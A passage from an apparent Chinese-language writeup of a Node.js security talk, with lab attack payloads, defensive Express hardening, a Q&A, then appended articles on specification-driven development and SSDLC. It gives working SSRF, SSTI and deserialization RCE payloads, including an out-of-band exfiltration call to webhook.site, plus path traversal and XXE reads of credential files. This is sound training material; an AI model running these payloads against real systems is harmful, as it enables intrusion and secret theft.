const token = jwt.sign({
id: user.id,
username: user.username,
password: user.password // 密碼放進 JWT!
}, secretKey);
💬 講者原話:「大家不要笑,這些全部都是真實的案例。」
這不是虛構的教學範例,而是在實際滲透測試中真的遇到過的情況。
攻擊方式:
-
取得 JWT Token
curl -X POST https://nodelab.feifei.tw/api/auth/login \ -H "Content-Type: application/json" \ -d '{"username":"test","password":"password123"}' -
解碼 JWT(到 https://jwt.io)
- JWT 中間部分是 Base64 編碼
- 解碼後可能看到明文密碼
2.4 敏感資料洩露
Lab 路徑:https://nodelab.feifei.tw/api/users
漏洞程式碼:
app.get('/api/users/:id', async (req, res) => {
const user = await User.findById(req.params.id);
res.json(user); // 直接回傳整個物件,包含密碼
});
💬 講者原話:「這個東西在什麼時候會出現?Vibe Coding 的時候。」
「所以這時候 API 就會洩露密碼,所有東西全部都列出來,完整的非常貼心,還整理好了,直接打包送給駭客。」
「請在座各位不要這樣寫,如果今天你在用 Vibe Coding,請務必確認一下有沒有這樣寫。」
為什麼 Vibe Coding 容易出現這個問題?
當你用 AI 快速生成 CRUD API 時,AI 為了「方便」會直接回傳整個資料庫物件,而不會特別過濾敏感欄位。如果開發者沒有仔細檢查,這些程式碼就會直接上線。
攻擊方式:
curl https://nodelab.feifei.tw/api/users/1
可能的回傳:
{
"id": 1,
"username": "admin",
"email": "admin@example.com",
"password": "hashed_password_here",
"created_at": "2024-01-01"
}
2.5 SSRF(伺服器端請求偽造)
Lab 路徑:https://nodelab.feifei.tw/fetch
漏洞程式碼:
app.get('/fetch', async (req, res) => {
const { url } = req.query;
const response = await axios.get(url); // 直接請求使用者提供的 URL
res.json(response.data);
});
攻擊 Payload:
存取內部 API:
curl "https://nodelab.feifei.tw/fetch?url=https://internal-api:4000/api/sensitive"
讀取本機檔案(如果支援 file 協定):
curl "https://nodelab.feifei.tw/fetch?url=file:///etc/passwd"
存取雲端 Metadata(AWS/GCP):
curl "https://nodelab.feifei.tw/fetch?url=https://169.254.169.254/latest/meta-data/"
💬 講者原話:「裡面有什麼?有你雲端上面的 Token、API Key 等等,這些是非常危險的。所以哪天你發現你家的 AWS 帳單暴增,看一下有沒有類似的問題。」
真實案例場景:
攻擊者透過 SSRF 取得 AWS Metadata 中的 IAM Role Token 後,可以:
- 啟動大量 EC2 實例進行挖礦
- 存取 S3 Bucket 中的敏感資料
- 修改安全群組設定
- 建立新的 IAM 使用者作為後門
這就是為什麼很多公司會突然收到巨額的雲端帳單。
三、Node.js 特定漏洞
以下漏洞是 Node.js 特有的,佔發現漏洞的 20-30%,但往往可以導致 RCE(遠端程式碼執行)。
3.1 SSTI(伺服器端模板注入)
Lab 路徑:
| 模板引擎 | URL |
|---|---|
| JsRender | https://nodelab.feifei.tw/ssti/JsRender-demo |
| PugJS | https://nodelab.feifei.tw/ssti/PugJS-demo |
| Nunjucks | https://nodelab.feifei.tw/ssti/Nunjucks-demo |
Step 1:確認 SSTI 漏洞存在
JsRender:
curl -X POST https://nodelab.feifei.tw/ssti/JsRender-demo \
-H "Content-Type: application/json" \
-d '{"payload":"{{:7*7}}"}'
# 預期結果:49
PugJS:
curl -X POST https://nodelab.feifei.tw/ssti/PugJS-demo \
-H "Content-Type: application/json" \
-d '{"template":"#{7*7}"}'
# 預期結果:49
Nunjucks:
curl -X POST https://nodelab.feifei.tw/ssti/Nunjucks-demo \
-H "Content-Type: application/json" \
-d '{"template":"{{7*7}}"}'
# 預期結果:49
Step 2:RCE 攻擊
💬 講者原話:「攻擊者可以嘗試執行系統的指令。這是搭配 Node.js 裡面的特性,還有各式各樣的內容。如果你看不懂沒有關係,回去可以拍起來,然後用 AI,反正現在 AI 都會幫你寫攻擊 Payload。」
「你不要覺得 AI 有攻擊的倫理道德,沒有,完全沒有。」
「你說『這個語法要怎麼寫,幫我把這個攻擊語法拼接出來』,它就會給你。」
JsRender – 讀取 /etc/passwd:
curl -X POST https://nodelab.feifei.tw/ssti/JsRender-demo \
-H "Content-Type: application/json" \
-d '{"payload":"{{:\"pwnd\".toString.constructor.call({},\"return global.process.mainModule.constructor._load('"'"'child_process'"'"').execSync('"'"'cat /etc/passwd'"'"').toString()\")()}}"}'
PugJS – 建立檔案:
curl -X POST https://nodelab.feifei.tw/ssti/PugJS-demo \
-H "Content-Type: application/json" \
-d '{"template":"#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad('"'"'child_process'"'"').exec('"'"'touch /tmp/pwned.txt'"'"')}()}"}'
Nunjucks – 讀取 /etc/passwd:
curl -X POST https://nodelab.feifei.tw/ssti/Nunjucks-demo \
-H "Content-Type: application/json" \
-d '{"template":"{{range.constructor(\"return global.process.mainModule.require('"'"'child_process'"'"').execSync('"'"'cat /etc/passwd'"'"')\")()}}"}'
⚠️ 講者提醒:「對於白帽駭客、資安工程師來講,我們測試到這樣就好了。但如果是一個黑帽駭客,就是你所謂聽過一些邪惡的駭客,他可能就會下 rm -rf / 之類的。有一些駭客就是基於『好好玩有趣』,請不要在你家公司內部這樣下,會出大事。」
3.2 不安全的反序列化
Lab 路徑:https://nodelab.feifei.tw/api/serialize
漏洞程式碼:
const serialize = require('node-serialize');
app.post('/api/serialize', (req, res) => {
const data = serialize.unserialize(req.body); // 危險!
res.json(data);
});
攻擊 Payload:
基本測試:
curl -X POST https://nodelab.feifei.tw/api/serialize \
-H "Content-Type: application/json" \
-d '{"key":"value"}'
RCE – Console.log:
curl -X POST https://nodelab.feifei.tw/api/serialize \
-H "Content-Type: application/json" \
-d '{"rce":"_$$ND_FUNC$$_function(){console.log(\"RCE successful\");}()"}'
RCE – 讀取系統資訊(Out-of-Band):
# 先到 webhook.site 取得你的 URL
curl -X POST https://nodelab.feifei.tw/api/serialize \
-H "Content-Type: application/json" \
-d '{"rce":"_$$ND_FUNC$$_function(){const https=require(\" https\");const {execSync}=require(\"child_process\");const result=execSync(\"uname -a\").toString();const options={hostname:\"webhook.site\",port:443,path:\"/YOUR-UUID\",method:\"POST\"};const req= https.request(options);req.write(result);req.end();return {}}()"}'
3.3 Prototype Pollution(原型污染)
概念說明:
JavaScript 的所有物件都繼承自 Object.prototype。如果攻擊者能夠修改 Object.prototype,就會影響所有物件。
漏洞程式碼:
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
target[key] = merge(target[key] || {}, source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
攻擊 Payload:
{
"__proto__": {
"isAdmin": true
}
}
影響:
const user = {};
console.log(user.isAdmin); // true(被污染了!)
3.4 Path Traversal(路徑穿越)
Lab 路徑:https://nodelab.feifei.tw/api/pathTraversal
漏洞程式碼:
app.get('/api/pathTraversal', (req, res) => {
const filename = req.query.filename;
const content = fs.readFileSync(./upload/${filename}, 'utf8');
res.send(content);
});
攻擊 Payload:
正常存取:
curl "https://nodelab.feifei.tw/api/pathTraversal?filename=test.txt"
讀取 /etc/passwd:
curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../../../../etc/passwd"
讀取環境變數:
curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../../../../proc/self/environ"
讀取程式碼:
curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../server.js"
curl "https://nodelab.feifei.tw/api/pathTraversal?filename=/../.env"
3.5 Cache Pollution(快取污染)
Lab 路徑:https://nodelab.feifei.tw/api/cache
攻擊流程:
Step 1:清除快取
curl https://nodelab.feifei.tw/api/cache/flush
Step 2:確認快取為空
curl https://nodelab.feifei.tw/api/cache/getallvalue
Step 3:注入惡意腳本
curl -H "User-Agent: <script>alert('Hacked')</script>" \
https://nodelab.feifei.tw/api/cache/
Step 4:檢查快取內容
curl https://nodelab.feifei.tw/api/cache/getallvalue
3.6 XXE(XML 外部實體注入)
Lab 路徑:https://nodelab.feifei.tw/load_xml
攻擊 Payload:
curl -X POST https://nodelab.feifei.tw/load_xml \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>'
第二部分:防禦者視角
四、Express 框架安全加固
4.1 使用 Helmet
const helmet = require('helmet');
app.use(helmet());
Helmet 會自動設定多個安全標頭:
- Content-Security-Policy
- X-Content-Type-Options: nosniff
- X-Frame-Options: DENY
- X-XSS-Protection
4.2 隱藏技術資訊
app.disable('x-powered-by');
4.3 修改 Session 名稱
app.use(session({
name: 'sessionId', // 不要用預設的 connect.sid
secret: process.env.SESSION_SECRET,
cookie: {
httpsOnly: true,
secure: true,
sameSite: 'strict'
}
}));
💬 講者原話:「不要用預設的名字,你可以改成 sessionId,或是有些工程師會把它改成很像 PHP 的樣子。」
「這是一些『想要玩駭客的方法』,但不建議,因為你的主管朋友會問你說『你為什麼要這麼改?』然後你沒有辦法說服他。這樣子你可以叫他來聽我的議程。」
偽裝成其他技術(不建議,但有趣):
app.use(session({
name: 'PHPSESSID', // 偽裝成 PHP
// ...
}));
4.4 輸入驗證
const { body, validationResult } = require('express-validator');
app.post('/api/user',
body('email').isEmail().normalizeEmail(),
body('password').isLength({ min: 12 }),
body('username').trim().escape(),
(req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
// 處理請求...
}
);
五、防禦特定漏洞
5.1 防禦 SQL Injection
// 使用參數化查詢
const { rows } = await db.query(
'SELECT * FROM articles WHERE id = $1',
[req.params.id]
);
// 或使用 ORM(Sequelize)
const article = await Article.findByPk(req.params.id);
5.2 防禦 XSS
const he = require('he');
const sanitizeHtml = require('sanitize-html');
const createDOMPurify = require('dompurify');
// 方法一:HTML 實體編碼
const safe = he.encode(userInput);
// 方法二:HTML 清理
const clean = sanitizeHtml(userInput);
// 方法三:DOMPurify
const purified = DOMPurify.sanitize(userInput);
5.3 防禦 Prototype Pollution
// 方法一:使用沒有原型的物件
const safeObject = Object.create(null);
// 方法二:凍結原型
Object.freeze(Object.prototype);
// 方法三:過濾危險屬性
function safeAssign(target, source) {
const dangerous = ['__proto__', 'constructor', 'prototype'];
for (let key in source) {
if (dangerous.includes(key)) continue;
target[key] = source[key];
}
return target;
}
5.4 防禦 SSRF
const { URL } = require('url');
const allowedHosts = ['api.example.com', 'data.example.com'];
app.get('/fetch', async (req, res) => {
const { url } = req.query;
try {
const parsedUrl = new URL(url);
// 白名單驗證
if (!allowedHosts.includes(parsedUrl.hostname)) {
return res.status(403).send('Access denied');
}
// 只允許 HTTP/HTTPS
if (!['https:', ' https:'].includes(parsedUrl.protocol)) {
return res.status(400).send('Invalid protocol');
}
const response = await axios.get(url);
res.json(response.data);
} catch (error) {
res.status(400).send('Invalid URL');
}
});
5.5 防禦 Path Traversal
const path = require('path');
app.get('/api/file', (req, res) => {
const filename = req.query.filename;
// 只取檔名,移除路徑
const safeFilename = path.basename(filename);
// 確認路徑在允許的目錄內
const filePath = path.join(__dirname, 'upload', safeFilename);
const uploadDir = path.join(__dirname, 'upload');
if (!filePath.startsWith(uploadDir)) {
return res.status(403).send('Access denied');
}
// 讀取檔案...
});
第三部分:Lab 路徑總整理
| 漏洞類型 | Lab 路徑 | HTTP 方法 |
|---|---|---|
| SQL Injection | /api/articles/:id | GET |
| XSS(反射型) | /search?keyword= | GET |
| XSS(DOM-based) | /form | GET/POST |
| JWT 誤用 | /api/auth/login | POST |
| 敏感資料洩露 | /api/users/:id | GET |
| SSRF | /fetch?url= | GET |
| SSTI – JsRender | /ssti/JsRender-demo | POST |
| SSTI – PugJS | /ssti/PugJS-demo | POST |
| SSTI – Nunjucks | /ssti/Nunjucks-demo | POST |
| 反序列化 | /api/serialize | POST |
| Path Traversal | /api/pathTraversal?filename= | GET |
| Cache Pollution | /api/cache/ | GET |
| XXE | /load_xml | POST |
| NoSQL Injection | /api/product/filter?category= | GET |
| 檔案上傳 | /upload | GET/POST |
| CRLF Injection | /redirect?url= | GET |
結論:Node.js Matters?
對攻擊者而言
是的,但不是全部。
- 60-70% 的漏洞與語言無關(SQL Injection、XSS、SSRF 等)
- 20-30% 需要 Node.js 專業知識(Prototype Pollution、SSTI、反序列化)
- 這 20-30% 往往可以導致 RCE(遠端程式碼執行)
對防禦者而言
是的,請擁抱你的技術。
- 理解 Node.js 的安全特性
- 建立 Node.js 特定的安全檢查清單
- 善用生態系統:helmet、express-validator、npm audit
💬 講者原話:「評估是否需要處理敏感的資料,有沒有在做個資的處理。個資法很重要,現在最高罰 1500 萬,所以請不要為了你們公司內部的這種個資的問題,或是你在幫客戶去寫程式碼的時候,忽略這件事情。」
安全的本質沒有變
無論使用什麼語言:
- 永遠不信任使用者輸入
- 最小權限原則
- 深度防禦
參考資源
- OWASP Web Security Testing Guide: https://owasp.org/www-project-web-security-testing-guide/
- OWASP Node.js Security Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html
- Express Security Best Practices: https://expressjs.com/en/advanced/best-practice-security.html
- 練習環境: https://nodelab.feifei.tw
- GitHub: https://github.com/fei3363/ithelp_web_security_2024
本文整理自 JSDC 2025 演講內容。所有攻擊 Payload 僅供學習用途,請在授權環境中練習。
附錄:Q&A 精選
以下是演講後的 Q&A 環節精華:
Q1:被雜湊過的密碼還可以利用嗎?
💬 講者回答:「我們可以破解雜湊。第一個叫 Hashcat 可以破解,另外一個叫 CMD5 的網站。這個中國的網站,你把雜湊丟進去之後,它會自動幫你進行反解。」
「你說雜湊不能反解嗎?這邊有個攻擊叫彩虹表,它在後端 map 純文字密碼跟雜湊的值。你會發現有時候查下去需要錢,這是他們的商業模式。」
密碼破解工具:
- Hashcat:本地端 GPU 加速破解
- John the Ripper:經典密碼破解工具
- CMD5.com:線上雜湊查詢服務(彩虹表)
Q2:Vibe Coding 造成很多漏洞,怎麼看?
💬 講者回答:「工作機會有啦!沒錯,就是工作機會。我越喜歡大家使用 Vibe Coding,我就越有更多漏洞可以打。」
「這是個資安工程師的想法,但實際上我們會發現 Vibe Coding 在寫程式碼的時候,如果你有再看 Code 的話…因為我有一些 Vibe Coding 客戶是不會看 Code 的。」
「我們覺得未來應該會有一些自動化的 AI 工具可以幫我們掃描,其實現在已經有了。但我們會發現這些 AI 資安掃描的自動化工具,你可能掃完描你還會看不懂。Vibe Coding 看不懂,那你可能就要叫 AI 改。」
講者本次示範的程式碼:
「我在這次示範的程式碼全部都是 Vibe Coding 寫出來的,那時候還是用 GPT 寫的,現在應該可以寫出更漂亮、更好看的,因為有 Claude Code。」
Q3:有什麼破壞不可否認性的案例嗎?
💬 講者回答:「有時候你寫日誌的時候寫的太明白,日誌裡面可以找到帳號密碼。你把 Console Log 裡面塞了一大堆東西為了要 Debug,然後我可以從日誌裡面看到一些內容。」
「還有就是駭客進去之後把你日誌刪掉。不要覺得駭客不會做這種事情,有些駭客進去之後把所有的事情亂搞,亂搞完之後就開始進行日誌的清理,把你的日誌也清掉。」
日誌安全建議:
- 不要在日誌中記錄敏感資訊(密碼、Token)
- 將日誌傳送到獨立的日誌伺服器
- 設定日誌不可刪除(append-only)
- 定期備份日誌
Q4:MCP 有成熟的攻擊語法跟注入方法嗎?
💬 講者回答:「有。MCP 本身有時候會變成惡意的軟體,就是你信任這個 MCP,那我就可以在這 MCP 裡面用這個去偷你電腦裡面的東西。」
「實際上我們在使用 MCP 的時候,應該要注意它到底請求哪些權限、做了什麼事情。我相信很多 Vibe Coding 的人他不會覺得 MCP 有什麼風險,但就是有風險。」
MCP 安全建議:
- 只使用可信來源的 MCP
- 檢查 MCP 請求的權限範圍
- 在沙盒環境中測試新的 MCP
- 定期審查已安裝的 MCP
Q5:有推薦的掃描工具嗎?
💬 講者回答:「掃描工具有分黑箱跟白箱。白箱就是打開看得到裡面的程式碼。如果是黑箱的話你可以用 OWASP ZAP。現在 AI 工具其實也可以,可以用一些 OWASP 他們開發的工具,這是開源免費的。」
推薦工具清單:
| 類型 | 工具 | 說明 |
|---|---|---|
| 黑箱測試 | OWASP ZAP | 免費開源,功能強大 |
| 黑箱測試 | Burp Suite | 業界標準,有免費版 |
| 白箱測試 | SonarQube | 程式碼品質與安全掃描 |
| 白箱測試 | Snyk | npm 套件漏洞掃描 |
| 依賴檢查 | npm audit | Node.js 內建 |
| AI 輔助 | GitHub Copilot | 可以幫忙找漏洞 |
講者提醒
「大家都不要成為腳本小子,我不想要看你等一下又被警察抓走。就算被抓走,不要說我教的,今天走出去你們就忘記這一切。」
「回去的時候可以跟資安 Team 做好朋友,但是在座開發者可能常常會跟資安人員吵架…」
「練習環境:nodelab.feifei.tw(回去可以打打看,記得通知我,我會幫你重開)」
[安全需求] 001 SDD 是什麼?讓規格決定安全:從 Specification-Driven Development 看軟體資安新思維
SDD 並不會自動幫你補上資安防護,
但它改變了遊戲規則——因為它讓安全從「規格」那一刻就能被設計、被追蹤、被驗證。
一、程式碼不再是王:從「寫程式」變成「寫規格」
在過去的軟體開發裡,我們總是先寫程式、再回頭寫文件。
結果就是——文件永遠落後,安全永遠被遺忘。
Specification-Driven Development(SDD,規格驅動開發) 正是為了解決這個問題。
它讓規格(specification)成為整個開發的「唯一真實(single source of truth)」。
不再用程式去「解釋規格」,而是讓規格「生成程式」。
在這個模式裡:
- 規格檔(spec.md)定義功能、使用者故事與安全需求。
- AI 或生成工具根據規格自動建立架構、測試、與實作任務。
- 每次修改規格,程式與測試都會重新生成。
也就是說,程式碼變成規格的衍生品。
這種模式不只改變開發流程,也讓安全可以「語言化、結構化、被驗證」。
二、SDD 與資安的交集:安全從此可被設計
傳統的 Secure SDLC(安全軟體開發生命週期)裡,
安全需求常被寫在 Excel、PPT 或 PDF 裡,
上線後大家才發現漏洞一堆。
而在 SDD 裡,安全變成可執行規格(executable spec),
也就是安全需求會直接被寫進系統規格文件中,
並被版本控制、被測試、被生成。
範例:登入系統的安全規格
## 功能:使用者登入系統
### 使用者故事
- 使用者可使用 Email/密碼登入。
- 密碼錯誤超過 5 次,自動鎖帳 15 分鐘。
- 所有請求必須透過 HTTPS。
### 安全需求
- 密碼至少 12 碼,含大小寫與特殊符號。
- 成功登入後簽發 JWT(30 分鐘有效)。
- 登入行為須記錄於 security_log。
這份 spec.md 不只是參考文件,
它可以被工具(如 Speckit、OpenAI、或自建 parser)解析成:
- 測試腳本(模擬錯誤登入、HTTPS 驗證)
- API 規約(OpenAPI + JWT requirement)
-
自動任務(建立 security_log、紀錄登入事件)
飛飛觀點:
SDD 不會幫你「想出」防護,但能讓防護成為程式生成的一部分,
從此安全不再被遺忘在文件裡。
三、從文件到契約:安全變成版本化的程式結構
在 SDD 專案中,所有功能都有自己的「規格資料夾」:
specs/005-payment-system/
├─ spec.md # 功能與安全描述
├─ plan.md # 技術實作計畫
├─ contracts/ # API 合約與權限設定
├─ tests.md # 自動化測試場景
└─ tasks.md # 產生的開發任務清單
這樣一來:
- 資安審查可以直接檢查規格而非代碼。
- 每次版本更新,安全需求自動隨規格同步。
-
外部稽核可直接檢視規格版本差異(Diff)。
技術補充:
這些規格可用 Git 追蹤差異、用 Markdown Linter 或自訂 Parser 檢查完整性,
甚至整合 CI/CD pipeline(如 GitHub Actions、GitLab CI)在 Pull Request 時自動跑檢查。
四、技術實作案例:把資安寫進規格
檔案上傳
傳統方式:
開發者寫「可以上傳圖片」。
SDD 實作規格:
## 檔案上傳
- 允許副檔名:.jpg、.png
- 檔案大小上限:5MB
- 上傳後即執行 ClamAV 掃描
- 檔案暫存於 /uploads/tmp
工具實作:
- 解析 spec.md 生成 OpenAPI + JSON Schema 驗證邏輯。
- 自動生成 Python 單元測試(pytest)或 Postman Collection。
- CI 在部署前跑安全掃描與檔案上傳測試。
表單輸入驗證
## 表單輸入驗證
- 所有輸入需伺服器端驗證。
- 禁止 HTML 標籤。
- 特殊字元需 HTML 編碼。
- 提交後紀錄來源 IP 與 User-Agent。
實作方式:
- 規格 → 自動生成驗證模組(使用 Joi / Pydantic)。
- 自動產生 E2E 測試確認 XSS 防護。
金流 API
## 金流 API
- 所有請求需使用 HMAC 簽章。
- 交易金額與幣別需雙重驗證。
- 錯誤訊息不得回傳內部堆疊資訊。
- 所有交易記錄需附 UUID 供稽核。
實務應用:
這份規格能直接生成 Swagger API 規約與自動測試;
當規格修改時,CI 會比對前後版本,若刪掉了安全欄位(如 HMAC),
pipeline 會直接 Fail。
五、AI 在 SDD 中的角色:幫你確保一致,而不是代你思考
很多人以為 AI = 自動補漏洞。
但在 SDD 的世界裡,AI 更像是規格守門員(Spec Guardian)。
它不會替你設計防護,
但會在規格不完整時發出警告:
[NEEDS CLARIFICATION: 此 API 是否需要 JWT 驗證?]
[SECURITY WARNING: 新增的 upload API 未定義副檔名白名單]
這不是「AI 的靈光乍現」,
而是透過三個具體技術步驟實現的。
模板與欄位驗證
在 spec-template.md 裡加上必填欄位:
## 安全需求
- 認證方式(必填):JWT / OAuth / Session
- 角色權限(必填):Admin / User / Guest
- Rate Limit(必填):__ 次/分鐘
- 是否加密敏感資料(必填):Yes / No
空著不填 → AI 會自動補上 [NEEDS CLARIFICATION]。
靜態分析(Linter)檢查
用 Spectral、Markdownlint 或自訂 Node 腳本掃描 spec.md。
if (/upload/i.test(spec) && !spec.includes('副檔名')) {
console.error('[SECURITY WARNING] 上傳 API 未定義副檔名白名單');
}
if (!spec.includes('JWT') && /api/i.test(spec)) {
console.error('[NEEDS CLARIFICATION] API 是否需驗證 Token?');
}
在 PR 或 CI Pipeline 內自動執行,未通過即阻擋合併。
AI 語意檢查(Semantic Audit)
透過 GPT / Claude / Llama-3 實作「語意比對」。
Prompt 範例:
任務:審查以下規格的安全完整性。
請輸出不一致與遺漏的項目,格式如下:
[NEEDS CLARIFICATION: ...]
[SECURITY WARNING: ...]
這樣 AI 就能指出「規格沒定義 JWT」、「錯誤回應洩漏細節」等問題。
飛飛觀點:
AI 不會幫你修安全,但會幫你「看見安全」。
真正的安全文化,是在程式被寫出前就被驗證。
六、資安人員的新角色:從「守門人」到「語言設計師」
| 傳統角色 | SDD 時代角色 |
|---|---|
| 撰寫安全政策文件 | 建立可執行安全規格模板 |
| 審查程式碼 | 審查 spec.md 是否涵蓋必要防護 |
| 手動測試漏洞 | 定義自動化安全測試條件 |
| 發現問題 | 制定安全憲章(Constitution)並交由 CI 驗證 |
安全人員不再只是稽核,而是與開發者一起「設計安全語言」。
七、組織導入建議
SDD 的精神再好,如果沒有制度支撐、沒有範例可依循,
最終還是會變成一場「文件改革」——寫得漂亮,卻沒人實際用。
導入 SDD 的關鍵不在技術,而在流程與文化的轉變。
以下是我在輔導企業與團隊時最常用的四個落地步驟。
從模板開始:建立團隊的「安全語言」
任何規格驅動開發的第一步,都是統一語言。
建議先建立一份通用的 security_spec_template.md,
內容可依公司產品特性擴充,但建議至少包含:
## 安全需求(Security Requirements)
- 認證機制(Authentication):JWT / OAuth2 / API Key
- 權限控制(Authorization):角色矩陣、資源可見性
- 輸入驗證(Input Validation):XSS / SQLi / File Upload Policy
- 敏感資料保護(Data Protection):加密 / Masking / Logging Policy
- 錯誤處理(Error Handling):避免回傳堆疊資訊
- 稽核與追蹤(Audit & Traceability):事件日誌保存期限、審查責任人
建議做法:
- 用 Git 版本控制這份模板,確保每個專案都使用最新版。
- 可以參考 [OWASP ASVS Level 2] 作為欄位依據。
- 讓開發者能直接複製模板開新 feature 目錄,如:
/specs/feature-012-login-system/spec.md
納入 Pull Request 流程:讓規格審查成為開發日常
規格如果沒有綁流程,會被遺忘。
因此第二步是:讓安全規格審查成為 CI Gate。
具體做法如下:
-
CI 驗證機制:
- 於 Pull Request(PR)提交時,自動檢查是否附上 spec.md。
- 若規格未更新或安全欄位為空,PR 自動退回。
- 可使用 GitHub Actions、GitLab CI 或 Jenkins pipeline 實現。
-
規格自動比對(Spec Diff):
- 每次修改 PR 時,CI 自動比較規格前後版本,
若發現安全條件被刪除(例如移除了「JWT 認證」),
則標記 [SECURITY WARNING]。
- 每次修改 PR 時,CI 自動比較規格前後版本,
-
AI 審查補助:
- 在 PR 最下方自動附上「AI 規格檢查報告」,列出 [NEEDS CLARIFICATION] 與 [SECURITY WARNING]。
飛飛觀點:
安全不該成為開發流程的「加分題」,而應是「基本題」。
當流程自動提醒、審查可追蹤,團隊自然會習慣「先寫規格、再寫程式」。
規格審查會議(Spec Review):安全與開發共同決策
就像設計審查(Design Review),安全也需要被討論。
規格審查會議 是讓開發、測試、資安在同一張桌上思考「安全邏輯」的時刻。
實施方式:
- 每週固定一次 30 分鐘「Spec Review」會議。
- 專案成員輪流展示新功能的 spec.md,重點講安全設計。
- 資安人員協助檢查規格完整性(如:是否定義權限矩陣、輸入驗證策略)。
- 會後將共識回寫進規格檔,留下審查紀錄。
這樣做的好處:
- 開發與安全人員可以在「還沒寫程式前」就釐清風險。
- 安全決策變得可追蹤、有文件依據。
- 對外稽核時,可直接出示「安全規格審查紀錄」。
教育與案例庫:讓安全規格成為可複用資產
最後,也是最重要的:
把規格變成知識,而不是一次性文件。
建立一個「安全規格案例庫(Security Spec Library)」,
每次新專案或新功能都能快速複用。
範例可包含:
- JWT 登入範例:完整的登入/登出流程與 Token 生命週期。
- 檔案上傳範例:副檔名白名單、大小限制、惡意檔掃描邏輯。
- SQL Injection 防護範例:ORM Parameter Binding 示範與測試案例。
- Log Policy 範例:敏感欄位遮蔽、審計日誌格式。
技術補充:
- 可使用 Git 子模組或私有 npm/pip 套件封裝通用規格。
- 每季度更新案例庫,納入近期漏洞教訓與新防護範式。
- 在入職培訓時加入「規格實作演練」,讓新人從 Day 1 就接觸 SDD 思維。
飛飛觀點:
導入 SDD 就像建立一座有紀律的城市。
模板是城市的法規,PR Gate 是交通號誌,教育是公民素養。
當每個開發者都能理解「安全規格=系統的建築藍圖」,
SSDLC 才真正成為日常文化,而不是政策口號。
八、從 Secure Coding 到 Secure Specifying
在 SSDLC by 飛飛,我常說:
「安全不是程式碼寫得多嚴,而是需求一開始就夠清楚。」
過去我們教開發者 Secure Coding;
未來要教的是 Secure Specifying。
當安全需求被語言化、模板化、版本化,
安全就不再是「事後檢查」,而是「程式生成的自然結果」。
九、結語:安全不只是文件,而是可執行的真實
SDD 不是魔法,它仍需要人的設計與判斷。
但它讓安全有了新的可能:
把「意圖」轉成「行動」,把「防護」寫進「規格」。
當安全能被設計、被追蹤、被再生,
安全文化就不再只是喊口號——而是每天都在發生。
延伸閱讀
[SSDLC] 001 什麼是 SSDLC?讓安全融入開發的每個階段
在台灣與全球的軟體產業中,開發速度往往被視為成功的關鍵。但想像一下,你蓋了一棟漂亮的房子,卻忘記裝防盜門和監視器,當小偷光顧時才急著補救——這就是許多企業面對資安問題的真實寫照。
隨著雲端架構、API 與 AI 系統的普及,安全性已經不是「有最好、沒有也還行」的選項,而是「沒有就完蛋」的基本條件。許多企業在產品上線後才收到滲透測試報告,發現漏洞百出,或者遭遇資安事件,品牌形象一夕崩盤。這種「事後修補」就像房子蓋好才發現地基有問題,代價極高且難以根治。
這正是 SSDLC(Secure Software Development Life Cycle,安全開發生命週期) 被提出的原因。它的核心理念是:與其事後補破網,不如一開始就把安全編織進每一條開發的經緯線。
一、從 SDLC 到 SSDLC:不只是能動,還要安全地動
傳統的 SDLC(Software Development Life Cycle)就像開車只看「車子會不會跑」,強調系統可用性與交付效率。但 SSDLC 則進一步追問:「煞車靈不靈?安全帶扣好了嗎?有沒有定期保養?」
換個比喻來說:
SDLC 關注「軟體能不能動」
就像廚師專注菜色好不好吃
SSDLC 關注「軟體能不能安全地動」
就像廚師不僅要菜好吃,還要確保食材新鮮、廚房衛生、不會讓客人吃壞肚子
SSDLC 並非推翻 SDLC,而是進化版的開發文化。它透過制度化、工具化與教育化的方式,讓開發團隊在設計、寫程式、測試、上線等每個環節都能主動管理風險,而不是被動應對災難。
二、SSDLC by 飛飛的核心理念:安全不是枷鎖,是護城河
SSDLC by 飛飛 是結合資安教育與實務導入的知識平台,主張「安全不是恐懼,而是創造的基礎」。
想像你在建造一座城堡。沒有護城河和城牆的城堡,再華麗也經不起侵略;但有了堅固防禦的城堡,才能讓裡面的人安心生活、創造繁榮。
對開發者而言,SSDLC 不只是防禦駭客的盾牌,更是一種能夠:
1. 減少重做成本:越早抓蟲,省越多錢
就像裝潢房子,如果水電配置錯誤在牆壁還沒封起來前發現,改一改就好;但如果等磁磚都貼完才發現,整面牆都要打掉重來。資安漏洞也一樣,設計階段發現可能只要調整架構,但產品上線後才發現,可能要整個系統大翻修。
2. 提升開發品質:安全的程式碼通常也是好程式碼
安全設計會逼你把邏輯想清楚、把權限管理做好、把錯誤處理寫完整,這些習慣會讓整個系統變得更穩定、更好維護。就像練武術不只能防身,還能強身健體、提升反應力。
3. 建立信任品牌:安全等於專業的代名詞
當客戶知道你的產品經過嚴格的安全把關,就像看到餐廳貼著衛生優良認證,自然更願意信任你、選擇你。
SSDLC 的價值,不在於多一層繁瑣的檢查,而是讓團隊建立「安全即品質」的文化基因。
三、SSDLC 的七大階段:從規劃到維運的安全閉環
以下是 SSDLC by 飛飛 的七階段教學架構,就像蓋房子從畫設計圖到交屋保固的完整流程:
階段一:安全需求定義(Requirements)
就像蓋房子前先確認:要防震、防火、防盜
在這個階段,你要先問清楚:這個系統會處理什麼樣的資料?需要符合哪些法規(如個資法、金管會規定)?誰可以看什麼資料?使用者隱私怎麼保護?
核心任務:分析法規要求、資料分類(哪些是敏感資料)、權限設定、隱私保護機制
台灣情境舉例:如果你在做線上購物網站,這階段就要確認信用卡資料要加密、個資要依照個資法處理、未成年使用者需要家長同意等需求。
階段二:安全設計(Design)
就像畫建築藍圖時,標明消防通道、監視器位置、保全系統
確立系統的安全架構與防禦策略。這階段要做威脅建模,想像駭客會從哪裡攻擊,然後預先設計防護機制。
核心任務:威脅建模、系統邊界分析、安全設計原則(如最小權限原則、縱深防禦)
